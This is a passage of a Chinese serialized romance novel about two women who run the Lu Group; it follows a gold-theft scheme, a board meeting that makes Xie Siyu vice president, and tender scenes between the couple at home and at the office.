张小梅主动去按楼层键,或许是太紧张,指尖都在发抖,原本该按亮数字“1”的,却错按成了“-1”。 电梯无声下沉。 陆言卿漫不经心地抚平羊绒大衣袖口的一丝褶皱,仿佛根本没注意到张小梅的失常。 事到如今,二叔精心策划这场闹剧的最终目的,她心里已经猜了个七七八八。 没想到……他竟一直没死心。 忍不住嗤笑。 “对……对不起,陆总。” 张小梅的脸色苍白得不正常,双手死死攥着身侧的衣服下摆,“我不小心把那份文件……抄送给销售部的周总监了。” “说说原因。” 电梯门“叮”一声打开,陆言卿看着张小梅那张毫无血色的脸,叹了口气问道。 商场宽敞的一楼,正门右侧第三家门店正在重新装修。 装修师傅正有条不紊地拆卸着旧招牌上的字母,手里拿着的,像是“elis”品牌名里的那个“i”? 去酒店的路上。 陆言卿听到了一个身不由己的故事。 两年前,张小梅进入陆氏集团,确实是受了谢思虞父亲的授意,最初的目的,也只是为了监视谢思虞。 阴差阳错,她没进秘书部,反倒进了以严苛著称的财务部。 财务总监江泠月,业界有名的铁面无私,眼里容不得半点沙子。那些想混日子、钻空子的,都会被她毫不留情地清理出去。 为了能在江总监手下站稳脚跟,张小梅拼了命,付出常人双倍的努力。 一年升主管,两年升经理,她几乎成了部门里的拼命三娘。 然而,天有不测风云。 弟弟被确诊脑瘤。万幸发现得早,医生说可以通过手术控制。 可那高昂的手术费,像一座大山轰然压垮了她。鬼使神差地,她挪用了公款。 直到拿着那笔钱要去缴费的最后关头,她才猛然惊醒。她心存侥幸,想神不知鬼不觉地把钱填回公司账上,却被陆董逮了个正着。 这件事,成了卡在她喉咙里的刺,也成了别人拿捏她的把柄。 “那你弟弟的病……” 陆言卿递过去一张纸巾。 能在学姐手下高压工作两年并快速晋升,这姑娘确实是块值得雕琢的璞玉。 张小梅用力攥紧纸巾,声音急迫得有些发颤:“最后他还是做了脑瘤切除手术,但陆总您信我,我真的没有再动过公司账面上的钱,一份也没有。” 这两年,她没按谢明远的吩咐做事,就别指望对方能借钱给她。 对方没落井下石戳穿她,已经是“格外开恩”了。 她东拼西凑借遍了亲朋好友,也只凑够了二十万。 最后,不得不抵押了父母在郊区打拼半辈子才买下的唯一一套房子,向银行贷了三十万,才勉强凑齐手术费。 “是人,都会犯错。” 陆言卿放在车门储物格里的手机“叮咚叮咚”接连响了数声。 她拿起来一看,正是学姐江泠月回复了她之前在会议室发去的询问。 「如果给她足够的时间和空间成长锻炼,未来取代我的位置,并非不可能。」 「怎么突然问起她?出什么事了?」 事情到了这一步,张小梅也能预见自己的结局。 挪用公款,即便她悬崖勒马,及时悔悟,也难逃被公司扫地出门的下场。 只是……只是辜负了江总监这两年的苦心栽培,这份愧疚沉甸甸地压在心口。 失去了这份高薪工作,银行的贷款怎么办? 拿什么还? 强撑了一上午的情绪终于彻底崩溃,张小梅的眼泪像断了线的珠子,汹涌地往下掉。 “别哭了。” 陆言卿无奈地拍了拍张小梅颤抖的肩膀,声音温和却带着力量,“你是学姐看中的人才。以后,专心做好你的工作。” - 第二天上午九点。 警方传来了好消息,在d市通往h市的高速公路上,成功拦截了李强驾驶的黑色大众轿车。 撬开后备箱,里面赫然堆放着他在《陈记黄金》店铺盗走的全部黄金。 盗窃案发生得突然,警方却在短短48小时内神速破案并抓捕了嫌疑人。 李强在派出所里,倒是交代了作案经过,无非是鬼迷心窍,见钱眼开。 但他死活不承认是受了谁的指使。 陆言卿让公关部经理秦霜单独留下。处理后续舆论和安抚商户,本就是她的分内事。 下午一点半。 陆言卿风尘仆仆地抵达陆氏集团大厦。舟车劳顿让她眉宇间透着明显的倦色。 真是冤家路窄,大厦门口,迎面就撞上了二叔陆弘毅,还有董事会的刘董和周董。 “二叔,您为了我这个侄女,可真是煞费苦心啊。” 走到陆弘毅身边,陆言卿心情糟透,连表面功夫都懒得做,直接呛了一句回去。 为什么要选李强? 大概就是因为他右手小拇指缺了一截,特征明显,能让警方第一时间锁定嫌疑人。 要是李强聪明点,带着黄金随便躲在d市哪个犄角旮旯,警方哪能这么快就抓到他? 黄金店老板娘刘燕,还有那几家带头闹事的商户,全都是当初谢思虞亲自挑选、亲自签约引入的品牌。 他甚至连谢家沾亲带故的张小梅都一并算计了进去。 绕这么大一个圈子,联合几十家商户施压,最终目标只有一个——逼她从谢思虞手里,把集团的掌控权夺回来。 说不是煞费苦心,谁信? 陆弘毅装聋作哑,一脸无辜:“言卿这话是怎么说的?我刚从医院看你奶奶回来。倒是你,d市那摊子烂事解决了?” “解没解决,二叔您不是比任何人都清楚吗?” 陆言卿唇角勾起一抹冷笑,率先踏入电梯间。 陆弘毅和两位董事紧随其后。 周鹏是老陆董在位时一手提拔的心腹。在他看来,无论d市黄金失窃案背后是否另有隐情,都赤裸裸地暴露了一个致命问题。 “集团不需要两位执行总裁,这次黄金盗窃案,就是最好的证明。” 周鹏的声音在狭小的电梯空间里响起,带着不容置疑的意味。 陆言卿直接被气笑了。 胸口一股无名火直往上冲,她也懒得再跟这些人虚与委蛇。 乘坐电梯直达32楼总裁办。 刚进办公室灌了口水润嗓子,秘书刘瑶就敲门进来,说谢思虞在她办公室等着。 “昨天忘了问,下午去医院针灸……了吗?” 陆言卿推开总裁办厚重的木门,轻车熟路走到办公桌前,拉开椅子坐下。 视线扫过桌面时,话猛地顿住了。 一份文件静静躺在桌面上——正是她放在宾利车副驾储物盒里的那份股权转让合同。 上面,祖父遒劲的签名清晰可见。 昨天她开车去的机场,然后让机场相关工作人员把车开回了江海澜苑。 也就是说……谢思虞今天用了那辆车,并且,发现了这份合同。 谢思虞复杂的目光紧紧锁在陆言卿脸上,她极力压抑着翻涌的情绪,开口的声音还算平稳:“针灸我去了。但这份文件,是什么意思?” 陆言卿尴尬地眨了眨眼,重重吁出一口气,沉默了片刻正要开口解释,却被对方堵了回去。 “陆言卿。” 谢思虞的声音轻柔依旧,却带着某种隐忍,“你履行过哪怕一天作为妻子的义务和责任吗?我又凭什么,把这个位子‘还’给你?” 十分钟后会议要讨论的核心,不就是这个吗? 谢思虞眼睫低垂,藏在办公桌下的手早已死死攥成了拳头,指尖深深掐进掌心。 她极力维持着平静的假象,用最温柔的语气,说着最锋利的话。 她并非贪恋陆氏集团总裁这个位置。当年答应陆爷爷接手,初衷只有一个:替失踪的陆言卿,守住这份基业。 陆言卿想要拿回去,随时都可以。她从未想过霸占。 真的……不需要给她什么股份来“补偿”。 所以,在陆言卿心里,她谢思虞到底算什么? 这份冰冷的转让合同,此刻更像是对她三年付出的羞辱。 这般想着,眼眶控制不住的发热,眼尾悄然染上了一抹微红。 胸口那颗心,也闷闷地抽疼起来,每一次跳动都带着沉重的涩意。 “我……对不起。” 陆言卿哑然。面对谢思虞的质问,她竟一个字也反驳不了。 她自知理亏。 陆氏能有今日的规模,谢思虞功不可没。卸磨杀驴这种事,她做不出来:“你想要我怎么做?” 办公室瞬间陷入一片沉寂。 只有后方书柜上,那个煮着花果茶的小电壶,发出“噗噗”的沸腾声。 清新酸甜的柑橘香气在空气中弥漫开来。 谢思虞用力咬住腮帮内侧的软肉,复杂的目光像是要穿透陆言卿的灵魂。 嗓音带着某种孤注一掷的隐忍,一字一句清晰地说: “怎么做?我要你从今天开始,爱我。” “嗯?” 陆言卿愕然瞪大眼睛,怀疑是自己的耳朵出了问题。 可抬眸对上谢思虞那双湿润泛红,如同受伤小兽般猩红的眼睛时,她的呼吸猛地一窒。 心脏像是被那眼神狠狠攥住。 好半晌,她才撑着桌面缓缓站起身。 一步步绕过宽大的办公桌,径直走到谢思虞面前。 然后,俯身,弯腰,双臂撑在椅子的扶手上,将这个想要退缩的人牢牢禁锢在小小的办公椅中——退无可退。 两人距离陡然拉近,近到能清晰地感受到彼此的呼吸。 “谢总要的爱……” 陆言卿闭上眼,温热的吐息拂过谢思虞敏感的耳廓,声音又低又哑,带着一丝危险的蛊惑,“是举案齐眉的‘名词’,还是……抵死缠绵的‘动词’?” 等待答案的这一刻,陆言卿连呼吸都放得极轻,生怕错过她任何一个细微的反应。 整个世界仿佛都安静下来,只剩下她们两人,和那颗在胸腔里擂鼓般跳动的心。 第29章【VIP】 第29章 三合一 明媚的阳光穿透落地窗洒进办公室, 屋内气氛暧昧不已。 谢思虞在陆言卿不断靠近时,下意识屏住了呼吸,只有胸腔内那颗心脏扑通扑通跳的越来越快, 好似下一秒就要蹦出来。 「谢小姐要的爱,是举案齐眉的名词?还是抵死缠绵的动词?」 温柔眷念的嗓音钻进耳朵里,谢思虞低垂的长睫颤了又颤, 根本不敢抬头看陆言卿,掐了掐掌心的软肉, 强迫自己放松下来。 可她太紧张了。 “嗯?怎么不说话?” 陆言卿察觉到谢思虞紧绷的身体,手轻轻搭在她肩上,无声安抚。 今天这人穿的是一条藕粉色连衣裙, 柔顺的长发扎了一半留一半。 一如既往的温婉, 优雅。 肩头落下的掌心温度透过薄裙布料,烫得她心尖儿狠狠一颤。 淡淡的雪松香笼罩下来, 谢思虞突然想起那天清晨在陆言卿怀里醒来,那种前所未有的满足和甜蜜。 勇气来得猝不及防。 她仰起脸,唇瓣轻柔地落在陆言卿嘴角,像蜻蜓停在水面那样短暂,却让两个人的呼吸都乱了一拍。 眼眸里盛满了潋滟动人的水光:“要这样的。” 她小声说,耳尖红得快要滴血。 突如其来的吻。 温柔至极,也格外撩人心弦。 陆言卿确实愣住了。 谢思虞垂落的发丝扫过她的手背, 痒痒的,像是无声的催促。 她垂眸对上谢思虞湿漉漉的眼睛, 那里面的水光好似万千星辰摇曳, 晃的她心神不稳, 也倒映着她愣神的样子。 最后身体比思绪先一步行动。 她张开双臂,很轻很温柔地把谢思虞搂进怀里。 羊绒大衣沾着阳光的暖意, 将对方整个包裹住,怀里的身体起初还有些僵硬,渐渐就软了下来,额头轻轻抵在她颈窝处。 “知道了。” 陆言卿用下巴蹭了蹭谢思虞的发顶,声音轻得像是怕惊扰这一刻的宁静。 她感觉到谢思虞的手指悄悄攥住了自己的衣摆,紧张又透着一丝不安。 身后不远处的茶水壶还在咕嘟咕嘟冒着热气。 谢思虞身上淡淡的橙花香混着柑橘茶的甜,让陆言卿忍不住又收紧了手臂。 原来拥抱比想象中更温暖。 “叩叩!” 敲门声将暧昧的氛围驱散。 谢思虞红着脸从陆言卿怀里退出来,将散落在胸前的长发顺到身后,才开口:请进。 刘瑶不知道屋内刚发生的事情,推门进来,视线在谢思虞浸染了淡淡绯色的脸颊停留了两秒。 提醒:“周董在会议室发好大的火,问陆总和谢总什么时候过去?” “让他们再等几分钟。” 别人发火,但陆言卿心情却很好。 因为她发现谢思虞耳尖泛红,这是她第一次见她害羞脸红的模样。 果然和想象中一样。 别有风情。 刘瑶得到回复便退出了办公室,也不知道是不是她的错觉。 感觉陆总今天笑的格外温柔,还有一点甜? 谢思虞假装没有看到陆言卿偷偷打量她的目光,深呼吸两次,紊乱的心跳渐渐得以平复。 把桌上股份转让书递给她:“今后陆氏只有你一个执行总裁,这个……我不需要。” 陆言卿扶额,转身倚着办公桌,拉着谢思虞的手,轻轻捏了捏她柔软的指尖,颇为认真解释:“转让股份不是我的主意,是祖父,既然他已经签字,便说明是真心想要给你。” 谢思虞得知不是陆言卿要以这样的方式补偿她,心情又甜蜜了几分。 可这份股份转让书跟三年前她签约的不一样…… “既然你决定要同我好好经营这段婚姻,那就乖乖签字,嗯?” 是的。 陆言卿在谢思虞主动亲吻她那刻,便明白了她的心意。 似乎,余生有她相伴也不错。 主要是谢思虞太好了,真的很难令人不心动。 谢思虞还是犹豫:“可是我……” 陆言卿将签字笔塞到谢思虞手中,将合同翻到最后一页,偏头冲她温柔一笑:“阿虞是想要我握着你的手签字?” 谢思虞微愣。 低头躲开陆言卿过分温柔的眼。 心跳好像又不听话了。 最终,她还是在合同书上签字。 从今往后,拥有陆氏集团4%股份的她,算真正融入这个大家庭了吗?- 董事会临时召开。 围绕集团只能有一个执行总裁展开,陆言卿和谢思虞抵达31楼会议室,刚还讨论激烈的几人立刻闭嘴。 “不用我多说,谢总这三年对集团所做的贡献大家都有目共睹,今后她担任陆氏副总裁,各位没意见吧?” 陆言卿坐下来就直接通知大家她的决定,实在是不想听他们冠冕堂皇的理由。 集团副总裁? 整个公司除了陆言卿,还不是她谢思虞说了算? 陆言昭摔了笔,当着众人的面反驳:“集团副总裁我父亲比谢思虞更有资格担任吧?” 刘国名接到目光,也出声附和:“对啊陆总,要论资历和经验,陆董在公司二十多年……” “就凭这个。” 陆言卿从文件夹中抽出一份报表,漫不经心扫过椭圆形会议桌前的几位董事,言辞犀利,“过去三年,集团利润增长37%,其中22%是谢思虞经手的项目贡献。” 刘国名擦了擦额头的汗,小心翼翼地开口:“陆总,我们不是质疑谢总的能力……” “那是什么?” 陆言卿微微挑眉,声音温和却带着不容置疑的力量。 她缓缓站起身,指尖轻点文件上的数据,“是质疑我的决策?” 看向左侧坐着一言不发,脸色黑青的二叔,陆言卿用不急不缓的速度说:“在座的各位,有谁能把亏损4年的商场扭亏为盈?有谁能在三年里将商场扩展至27家?” 会议室里落针可闻。 陆言卿来到谢思虞身后,双手落在她肩头,缓缓俯身,乌黑柔顺的长发滑落,扫过谢思虞耳朵。 说话时,直面会议桌对面因愤怒而微微发抖的陆言昭,一字一句顿道:“从现在开始。” 她的声音清晰的传入每个人耳中,“谢副总全权负责集团亚太区业务,直接向我汇报。” 没有人敢出声。 因为陆言卿提出的两条,在座的几位董事没人能做到。 陆言昭就是再愤怒也决定不了什么。 陆弘毅余光瞥向斜前方的周鹏,他此刻就跟哑巴一样,明明刚在电梯里他还对谢思虞颇有微词。 沉思几秒,还有什么不明白的呢? 父亲虽然退休了,但他的某些决定依然会让周鹏传达。 如今周鹏的沉默,无非也是父亲的意思。 “很好。” 陆言卿微微一笑,“散会。” 谢思虞坐在原地没动,直到会议室只剩下她们两人。 其实当陆言卿宣布她担任副总裁时,她也有点意外,不过被某人偏爱的感觉,很棒。 转头看向陆言卿,嘴角微微上扬:“这么护着我?” 陆言卿伸手替谢思虞整理了下衣领,指尖不经意擦过她的锁骨,明显感觉到这人紧绷的身体,眼中含笑:“我自然要护着你。” 谢思虞偏头对上陆言卿温柔的目光。 这个人的心意都明明白白写在脸上,赤诚坦然,就是要护着她。 这一刻,心底那块最柔软的地方。 有花无声绽放- D市黄金案有公关部经理秦霜留下善后,老板娘不仅追回被盗的黄金,还得到集团给的一笔补偿,其他商户也从中得到一些好处,乖乖的没再闹事。 网上的舆论好似一阵风。 来的快,散的也快。 谢思虞任命集团副总裁的命令下达到全国各地的商场,难免有人唏嘘。 甚至外界不少人说陆言卿卸磨杀驴,当然也有人说她任人唯亲。 谢氏,Elis总部。 谢知瑶从小被母亲周女士按照大家闺秀的标准来培养,或许是压的太用力,导致她长歪,不仅没有豪门千金的端庄大方,反而飞扬跋扈。 唯一拿得出手便是她在绘画方面有极高的天赋。 高考谢知瑶成绩勉强上二本,是谢明远花高价将她塞进国内知名的艺术学院学习。 1年前毕业,顺理成章进入Elis,也是从实习生做起,目前在公司设计部担任主管。 “大小姐,1月的销售数据……不太理想。” 销售总监孙晓月把姿态放的极低,要不是每月要还车贷房贷,估计早都从Elis辞职了。 谢知瑶虽然是部门主管,却有独立的办公室,环境比部门总监还要好。 谁让她是谢氏千金呢? 窗外阳光正好,可谢知瑶的心情却差到极点,她烦躁地转着手中的铅笔,面前的设计稿已经被她涂改得面目全非。 “怎么?你们销售部完不成KPI,现在要我来背锅?” 说话的同时把设计稿揉成一团,用力扔进角落的垃圾桶。 孙晓月叹息,她当然知道谢知瑶没能力解决,可陆氏集团的谢总能解决啊。 “不是的,只是……张菀晴的代言合同马上就要到期了,市场部那边评估过,她的带货能力已经大不如前。” 谢知瑶听到这儿,才抬起头看向孙晓月,扯了扯唇:“原来在这儿等着我?所以你们商量的结果呢?要找谁。” 孙晓月还未把这件事上报给谢总,本想等明天上午的季度会议,然时间不等人,她主要是怕苏蔓选了Elis的对家「Zura」。 “我们……想争取苏蔓。” “苏蔓?” 谢知瑶像是听到了什么笑话,唇角勾起一抹讥讽的弧度,“影后苏蔓?孙总监,你是不是忘了我们Elis是什么定位?轻奢!人家接的都是高定代言,会看得上我们?” 孙晓月的脸色一阵青一阵白,她当然知道Elis的档次不够,可现在的销售数据实在难看,再这样下去,她这个销售总监的位置怕是保不住了。 “大小姐,我知道这很难。” 她咬了咬牙,硬着头皮往下说,“但如果您能说服谢总帮忙牵线……” 谢知瑶的眼神瞬间冷了下来:“你们销售部没本事,现在要我去求谢思虞?做梦!” 孙晓月连忙摆手:“不是的!我只是觉得,谢总在圈内人脉广,或许能帮上忙……” 谢知瑶猛地站起身,椅子在地板上划出刺耳的声响:“孙晓月,你是不是觉得,我谢知瑶在Elis就是个摆设?没有她谢思虞Elis就会关门大吉呗——” 孙晓月被她的气势吓得后退半步,是哑巴吃黄连有苦说不出:“我真不是这个意思……” 谢知瑶冷笑,铅笔砸向办公室大门:“滚出去。” 孙晓月知道提起谢思虞算是触碰到谢知瑶到底线,不敢再多说什么,只能低着头快步离开。 可她能有什么办法呢? Elis这两年一直在走下坡路,面子值几个钱? 等谢氏真的破产那天,谢知瑶这位不谙世事的大小姐还会这般积极乐观吗? 办公室门关上的瞬间,谢知瑶抓起桌上的设计稿纸狠狠撕碎。 纸屑纷纷扬扬地落在地上,像极了她的自尊。 她当然知道孙晓月在想什么——所有人都觉得,Elis如今的困境只有谢思虞能解决,包括她那位父亲也是! 可这一次,她偏要证明,没有谢思虞,她一样能搞定苏蔓。 【瑶瑶你看群内消息了吗?】 【谢思虞被降职了,如今只是陆氏集团的副总裁。】 桌上手机锁屏弹出消息,看到好友发来的消息,谢知瑶幸灾乐祸地勾了勾唇,骂了声:蠢货。 她就知道有这一天- 晚上,月明星稀。 江海澜苑,陆言卿洗漱后穿着质地柔软的睡衣,也不知道出于什么心理,她还喷了点味道清爽香水。 主卧谢思虞正在洗澡,她趁着这个间歇在客厅捣鼓电视。 上网找攻略费了些时间,总算把手机内容投屏到电视上。 婚房这边面积大,有健身房,甚至连泳池都有,就是没观影室。 她在晨华里的公寓就有。 当然这都不是大事。 《婚后予你》是一部双女主的百合电影,主要讲述两位女主婚后的生活。 门铃声响起。 是陆言卿一个小时前打电话订购的鲜花,还有各种点心零食到了。 谢思虞从浴室出来时,发梢还滴着水。 她随意地用毛巾揉着头发,抬眼便看到客厅茶几上摆着一大束洛神玫瑰,洋甘菊星星点点地散落其间,旁边还放着几盒包装精致的点心。 “这是……” 她话音未落,手里的毛巾就被陆言卿自然地接了过去。 “先别动。” 陆言卿回主卧拿了吹风机出来,才按住谢思虞的肩膀,让她在沙发上坐下来。 电视屏幕定格在电影的开场画面,茶几上摆着切好的水果和两杯冒着热气的花茶。 “欠你的一场电影,今晚补上。” 陆言卿指尖穿过谢思虞柔顺的发丝,小心翼翼帮她擦拭,生怕弄疼她。 谢思虞端坐着身体,像一尊木偶娃娃,只是那微微颤动的睫羽暴露了她此刻的紧张。 因为她能清晰感觉到陆言卿的手指穿过她的发丝,动作轻柔地用毛巾吸干水分。 吹风机的暖风嗡嗡作响,陆言卿的手指时不时擦过她的耳廓,让她不自觉地缩了缩脖子。 “痒?” 陆言卿关掉吹风机,低头问道。 谢思虞摇摇头,却忍不住伸手揉了揉发烫的耳尖。 她注意到陆言卿今天穿得是一套带有可爱草莓图案的睡衣,宽松的圆领设计,还露出一部分精致的锁骨。 “我找了好久才投屏成功。” 陆言卿确定谢思虞发丝不再滴水,关闭电源,把吹风机收在茶几下方的抽屉里,在谢思虞身边坐下。 谢思虞忍不住笑了:“谁会在婚房里装观影室?” “我啊。” 陆言卿拿起遥控器,“晨华里的公寓就有,下次想看电影我们去那边。” 下次,捕捉到这两个字,谢思虞整个人好像吃了蜜糖一样甜。 原来陆言卿也开始设想她们的未来了。 更是没想到她这么快就让她涉足她的私人领域。 陆言卿认真调试电影的样子,暖黄的灯光落在她侧脸上,睫毛在眼下投出一小片阴影。 电影开始播放,轻柔的配乐在客厅里流淌。 陆言卿拿起一块点心递到谢思虞嘴边:“尝尝,这家店的点心都不怎么甜。” 谢思虞就着她的手咬了一小口,甜而不腻的滋味在舌尖化开。 她看着电视屏幕上相依的两位女主角,忽然觉得此刻的场景莫名熟悉——她们也像电影里演的那样,平凡却温暖。 当电影里的女主角们第一次牵手时,谢思虞感觉到陆言卿的手指悄悄勾住了她的。 她还是很紧张,却没躲开,反而翻转手腕,十指相扣。 “头发还没完全干。” 陆言卿突然说,手指无意识地摩挲着她的手背。 “嗯。” 谢思虞很轻地应了一声。 电影的光影在两人脸上变幻,谁都没有再说话。 但谢思虞知道,有些东西,正在这个普通的夜晚悄悄改变。 电影时间差不多一个半小时。 结束已经是12:05分。 电影的光影渐渐暗下来,片尾字幕无声地滚动着。 陆言卿揉了揉发酸的脖子,转头发现谢思虞不知何时已经睡着了。 她的头微微偏向一侧,枕着抱枕,呼吸均匀而绵长,睫毛在脸颊上投下浅浅的阴影。 没有叫醒她。 伸手轻轻拨开谢思虞额前的碎发,指尖触到的发丝已经完全干了,带着淡淡的洗发水香气。 借着电视屏幕微弱的光,她细细描摹着谢思虞的眉眼——柳叶眉,挺翘的鼻尖,最后目光落在那双透着自然粉色的唇上。 “那么害羞,还敢主动吻我?” 陆言卿轻声呢喃,声音轻得几乎只有自己能听见。 她缓缓靠过去,低下头,动作小心得像是怕惊扰一个易碎的梦。 唇瓣轻轻贴上谢思虞的嘴角,没有一触即分,而是温柔又缠绵的厮磨。 谢思虞在睡梦中无意识地抿了抿唇,这个细微的动作让陆言卿心头一软,到底没有更进一步。 本来就有失眠的毛病,因为黄金案的事,昨晚估计也没怎么睡。 她又如何舍得将她扰醒。 只是静静地看着谢思虞的睡颜,手指拂过她的脸颊,感受着肌肤传来的温度。 电视屏幕已经自动跳回了待机画面,客厅里只剩下壁灯柔和的光线,和两人交错的呼吸声。 谢思虞似乎感受到了什么,在睡梦中往陆言卿的方向靠了靠,额头轻轻抵在她的肩膀上。 陆言卿顺势调整姿势,让她靠得更舒服些,手指有一下没一下地梳理着她的长发。 “睡吧。” 陆言卿在她耳边低语,声音里带着自己都没察觉的温柔。 窗外,夜风轻轻拂过树梢,月光透过窗帘的缝隙洒落进来,为这个安静的夜晚镀上一层银色的光晕- 次日清晨六点,外面的天还灰蒙蒙亮。 谢思虞迷迷糊糊睁开眼睛,发现自己整个人都窝在陆言卿怀里。 沙发太窄,她几乎是半趴在陆言卿身上,还能清晰地听见对方平稳的心跳声。 她悄悄抬眼,看见陆言卿还在熟睡。 昨晚的记忆慢慢回笼——她们一起看电影,她却不小心睡着了,现在居然就这样亲密相拥。 谢思虞的耳尖隐隐发烫,却舍不得挪动半分,因为陆言卿的怀抱温暖又安心。 不知道就这样看了多久,谢思虞轻手轻脚地起身,生怕惊醒了还在熟睡的人,却不料陆言卿在睡梦中收紧了手臂,把她搂得更近了些。 谢思虞心跳漏了一拍,确定陆言卿没醒,才敢大声呼吸,贪婪的目光落在她脸上,嘴角不自觉地上扬。 轻轻戳了戳陆言卿的脸颊,小声嘀咕:“睡着了还这么霸道……” 最终她还是小心翼翼起身,从卧室拿来毛毯轻柔地盖在陆言卿身上。 茶几上的洛神玫瑰还带着水珠,她将花枝重新整理好,插进玻璃花瓶里。 当陆言卿睡醒时,阳光已经透过窗帘的缝隙洒进屋里来。 厨房里,小米粥咕嘟咕嘟在锅中翻滚,香气弥漫在空气中。 谢思虞换下睡衣穿着白色针织衫和浅灰色休闲裤,长发随意用皮筋挽在脑后,有少许发丝垂落在白皙的颈脖里。 整个人慵懒又温婉。 她正低头搅动着锅里的粥,忽然听见身后传来脚步声。 “怎么没多睡会儿?” 陆言卿揉着脖子走过来,声音还带着刚睡醒的哑。 谢思虞回头看见陆言卿歪着脖子的样子,顿时心疼起来:“落枕了?对不起,都怪我……下次要叫醒我。” 昨晚,还有那天在车内,陆言卿都由着她睡觉。 陆言卿无所谓地摇摇头,凑近闻了闻粥香:“没事啊,余医生说你难得有深度睡眠。” 她伸手帮谢思虞把散落的发丝别到耳后,“要是把你叫醒,怕是就难睡着了。” 谢思虞握住她悬在半空的手,指尖轻轻抚过她落枕的部位:“疼吗?” “问题不大。” 陆言卿笑着抽回手,转身打开冰箱门,从里面拿了瓶山泉水,随口问,“你晨跑回来了?” 其实她想问是不是有她在身边,就能放松下来,安然入睡。 谢思虞见小米粥软糯黏稠,便将电磁炉的火关掉,旁边蒸锅里是水晶虾饺和甜玉米:“嗯,今天只是在公寓楼下跑了三圈。” “粥和水晶虾饺都好了,你……洗洗脸吃早餐?” 陆言卿拧紧瓶盖,轻轻点头:嗯。 晨光中,她看见谢思虞眼里盛满了温柔,就像此刻锅里冒着热气的粥,温暖又熨帖。 【谢总,孙总监昨天向大小姐说了想要争取苏蔓成为Elis代言人的事,估计大小姐很快会有动作。】 料理台上的手机屏幕亮起。 谢思虞正在解围裙的带子,解锁后看到内容,眼眸里漾荡的温柔褪去了几分,大拇指轻点屏幕,输入框出现相应的文字:你先盯着。 按照谢知瑶的性子,她绝对会私下联系苏蔓的经纪人,Elis不过是一款轻奢服装品牌,想要请苏蔓那样的影后代言,根本就是会异想天开。 不用想都知道会被碰钉子。 但这跟她有什么关系呢? 上午8:45分。 两人抵达陆氏集团。 负一楼停车库,陆言卿下车后按了锁车键,绕过车头来到谢思虞身边,注意到她脖子上的丝巾歪了,松松垮垮地挂在脖子上。 “别动,”她伸手拦住要往前走的谢思虞,“丝巾歪了。” 谢思虞乖乖站定,微微仰起脸。 陆言卿的手指若有似无擦过她的颈侧,那里是她最敏-感的地方,谢思虞不自觉地缩了缩脖子,耳尖以肉眼可见的速度红了起来。 “这里……很敏-感?” 陆言卿见谢思虞的小动作,系丝巾的动作顿了下,昨晚帮她吹头发,这人也躲。 想到什么眸光带笑,继续手上的动作。 然这次她有点坏,指尖若有似无地蹭过谢思虞的颈脖,惹得对方睫毛轻颤。 “好、好了吗?” 谢思虞的声音比平时软了几分。 人事主管沈砚清停好车从车上下来,正好看见两人靠得极近的身影。 从她的角度看过去,就像在接吻? 【你和陆总……什么情况?】 【亲了?】 【看样子进展可以哦~】 沈砚清在陆言卿转身的瞬间,下意识往后退了两步,完美隐身在承重柱后面。 拿出手机给谢思虞发微信询问。 谢思虞看到内容后脸‘轰’地一下红透了,慌乱摁了手机侧面的按键熄屏,生怕被身侧的某人看见。 低头快步走进电梯。 陆言卿眨眨眼,不明所以地跟上。 她们没注意到,角落里一个新来的实习生举起手机,"咔嚓"—— 不知道躲在那里偷拍了多少张照片。 十分钟后,公司大群炸开了锅。 「照片」 「照片」 【我去,陆总和谢总……副总在地下车库接吻?这么劲爆的吗?】 【这是我不付费就能看的?】 【所以传闻才是假的,你看陆总回国后,几次董事会上护着谢副总。】 【我就说她俩不对劲!啊啊啊啊,她们真的好般配啊,长相气质都不输娱乐圈的明星,我宣布——从今天开始我要死嗑她俩。】 【……】 32楼副总裁办公室。 谢思虞看着疯狂跳动的群消息提醒,红着脸把手机倒扣在桌上,好不容易不烫的脸颊,又开始泛红了。 当然这一幕陆言卿没看到,她坐在自己办公室里,倒是饶有兴致地翻着聊天记录,嘴角微微上扬。 虽然谢思虞从总裁降职为副总,但她依然在之前的办公室办公,只不过门口的名牌换了。 这也是陆言卿的决定,因为她不想瞎折腾,工作而已,哪里不一样呢? “陆总,星海娱乐的宋薇已经到楼下了,但「云裳」的杨总还未到。” 原本这种小事魏洁可以直接处理,但是随宋薇一起的人还有钟家小姐钟晚意,她记得对方是陆言卿的朋友,“钟小姐也在。” “请她们直接来我办公室。” 陆言卿退出群聊,直接点开置顶消息:【晚意和宋薇到了,你要过来吗?】 隔壁办公室谢思虞将员工群免打扰功能打开,耳朵和眼睛总算清净了。 正整理文件,锁屏突然又进来消息,以为是八卦的沈砚清,没想到是陆言卿。 看到今天日期,才恍然想起之前在西餐厅的事情。 犹豫片刻站起身来,既然是她口头应下来的,自然不能让陆言卿帮她善后。 “宋薇之前拍过古装。” 谢思虞进入办公室后说的第一句话跟宋薇外在形象有关,来到办公桌面前,把平板递给陆言卿,“「云裳」那边要拍新系列茶饮广告,杨总想找个有古典气质的代言人。” 如若不然,那天她也不会冒然应下钟晚意的请求。 话音刚落,办公室门就被敲响。 钟晚意一身黑色西装连衣裙走在前面,身后的宋薇穿着素雅旗袍。 两人一个端庄大方,一个温婉动人。 “卿卿!” 钟晚意笑着打招呼,又看向一旁的谢思虞:“思虞姐,那天害你喝醉真对不起。” 谢思虞莞尔一笑,威士忌原本就是她故意喝的,自然不存在生气。 “宋小姐今天的旗袍不错。” 宋薇微微欠身:“陆总好,谢副总好。”她声音轻柔,举手投足间自带一股书卷气。 相比那天在西餐厅的慌乱无措,今天显然更加自信大方。 “都别站着,来这边坐。” 陆言卿不动声色地打量着宋薇。 她穿着淡青色旗袍,衬得身段窈窕,发髻松松挽起,确实很有古典美人的韵味。 正说着,杨姗推门而入:“抱歉,路上堵车来晚了。”她目光一下子被宋薇吸引,“这位就是宋小姐吧?” 杨姗绕着宋薇转了一圈,眼睛越来越亮:“太合适了!简直就是从古画里走出来的。” 她兴奋地转向谢思虞,恍然想起什么,对旁边陆言卿说:“陆总,我觉得可以让她直接代言我们云裳的‘江南春’系列。” 钟晚意笑着插话:“我们薇薇这几天都在学习有关茶艺的知识。” 原本陪同宋薇来谈代言轮不到她,然她跟陆言卿关系颇好,宋薇经纪人权衡利弊后才决定让她跟着。 宋薇不好意思地开口:“只是略懂皮毛……” 谢思虞注意到杨姗嘴角微扬,显然对这个意外之喜很满意。 她悄悄碰了碰陆言卿的胳膊,递过去一个"完美搞定"的眼神。 “那不如现在就去摄影棚试拍几张?”陆言卿收回视线,目光温柔提议道,“正好看看效果。” 杨姗连连点头,已经迫不及待地掏出手机联系摄影团队。 